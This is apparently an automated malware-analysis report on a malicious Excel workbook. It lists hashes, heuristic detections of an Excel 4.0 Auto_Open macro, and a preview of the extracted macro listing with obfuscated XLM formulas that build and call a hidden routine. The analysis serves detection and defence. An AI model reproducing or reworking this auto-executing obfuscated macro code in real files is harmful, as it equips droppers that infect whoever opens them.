Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6922dd4433c5ac06…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:37 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: b0250d2b720d9dc5ab0a17ecb1da71ae SHA-1: b8a41299c7c90e29b5e99d5a2d6db28f84075794 SHA-256: 6922dd4433c5ac0625d62974f69fa74727e97884030d94ccf0322edb6efb6fb3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6798 bytes
SHA-256: 3e8520f424a421e0563224e0a8def911bc6fd12323c38850f0a3a751171ffe8a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aKHFhYPuw
' 0018     23 LABEL : Cell Value, String Constant - AKEXGSRA len=0 
' 0018     24 LABEL : Cell Value, String Constant - aKVGTrMwC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C182 
' 0018     26 LABEL : Cell Value, String Constant - bHLThbbQlPz len=0 
' 0018     21 LABEL : Cell Value, String Constant - bsTOAB len=0 
' 0018     22 LABEL : Cell Value, String Constant - CRZUQKR len=0 
' 0018     22 LABEL : Cell Value, String Constant - gVtKnSw len=0 
' 0018     26 LABEL : Cell Value, String Constant - iOTschJUhMd len=0 
' 0018     23 LABEL : Cell Value, String Constant - jhAJAuiM len=0 
' 0018     25 LABEL : Cell Value, String Constant - KcIEenMTvR len=0 
' 0018     27 LABEL : Cell Value, String Constant - LefFpskaOjRJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - mwaCtsrb len=0 
' 0018     23 LABEL : Cell Value, String Constant - oYTBisuI len=0 
' 0018     21 LABEL : Cell Value, String Constant - Pragfm len=0 
' 0018     25 LABEL : Cell Value, String Constant - ptrFYwuqAg len=0 
' 0018     23 LABEL : Cell Value, String Constant - sIWeCgCV len=0 
' 0018     22 LABEL : Cell Value, String Constant - StYZaPi len=0 
' 0018     24 LABEL : Cell Value, String Constant - tIHmBTdbn len=0 
' 0018     20 LABEL : Cell Value, String Constant - tSvEC len=0 
' 0018     23 LABEL : Cell Value, String Constant - WkIjxMml len=0 
' 0018     26 LABEL : Cell Value, String Constant - YMHtIQSldSn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aKHFhYPuw,C79,"SET.NAME("sIWeCgCV",0+VALUE("0"))",""
'  aKHFhYPuw,C83,"SET.NAME("LefFpskaOjRJ",sIWeCgCV)",""
'  aKHFhYPuw,C88,"SET.NAME("CRZUQKR",sIWeCgCV)",""
'  aKHFhYPuw,Q92,"",-863.00000000000000000000
'  aKHFhYPuw,C93,"SET.NAME("Pragfm",COUNTA(KcIEenMTvR))",""
'  aKHFhYPuw,Q93,"",-373.00000000000000000000
'  aKHFhYPuw,Q94,"",91.00000000000000000000
'  aKHFhYPuw,C95,"SET.NAME("bHLThbbQlPz",COUNTA(tIHmBTdbn))",""
'  aKHFhYPuw,Q95,"",-197.00000000000000000000
'  aKHFhYPuw,Q96,"",178.00000000000000000000
'  aKHFhYPuw,Q97,"",62.00000000000000000000
'  aKHFhYPuw,C99,[],""
'  aKHFhYPuw,C103,"SET.NAME("gVtKnSw","")",""
'  aKHFhYPuw,C107,"LefFpskaOjRJ",""
'  aKHFhYPuw,C109,"SET.NAME("bsTOAB",HLOOKUP("*",KcIEenMTvR,LefFpskaOjRJ,FALSE))",""
'  aKHFhYPuw,C114,"ptrFYwuqAg",""
'  aKHFhYPuw,C118,"SET.NAME("AKEXGSRA",sIWeCgCV)",""
'  aKHFhYPuw,C122,[],""
'  aKHFhYPuw,C127,"AKEXGSRA",""
'  aKHFhYPuw,C131,"jhAJAuiM",""
'  aKHFhYPuw,C133,"iOTschJUhMd",""
'  aKHFhYPuw,C137,"aKVGTrMwC",""
'  aKHFhYPuw,C140,"SET.NAME("StYZaPi",VALUE(HLOOKUP("*",tIHmBTdbn,aKVGTrMwC,FALSE)))",""
'  aKHFhYPuw,C143,"mwaCtsrb",""
'  aKHFhYPuw,C148,"gVtKnSw",""
'  aKHFhYPuw,C152,"CRZUQKR",""
'  aKHFhYPuw,C156,NEXT(),""
'  aKHFhYPuw,C160,"tSvEC",""
'  aKHFhYPuw,C164,[],""
'  aKHFhYPuw,C168,"YMHtIQSldSn",""
'  aKHFhYPuw,C173,NEXT(),""
'  aKHFhYPuw,C178,RETURN(),""
'  aKHFhYPuw,C215,"SET.NAME("WkIjxMml",C79)",""
'  aKHFhYPuw,C220,"KcIEenMTvR",""
'  aKHFhYPuw,C225,"SET.NAME("tIHmBTdbn",R64C14)",""
'  aKHFhYPuw,C229,"SET.NAME("YMHtIQSldSn",240)",""
'  aKHFhYPuw,C234,"SET.NAME("oYTBisuI",3)",""
'  aKHFhYPuw,C239,WkIjxMml(),""
'  aKHFhYPuw,C240,HALT(),""

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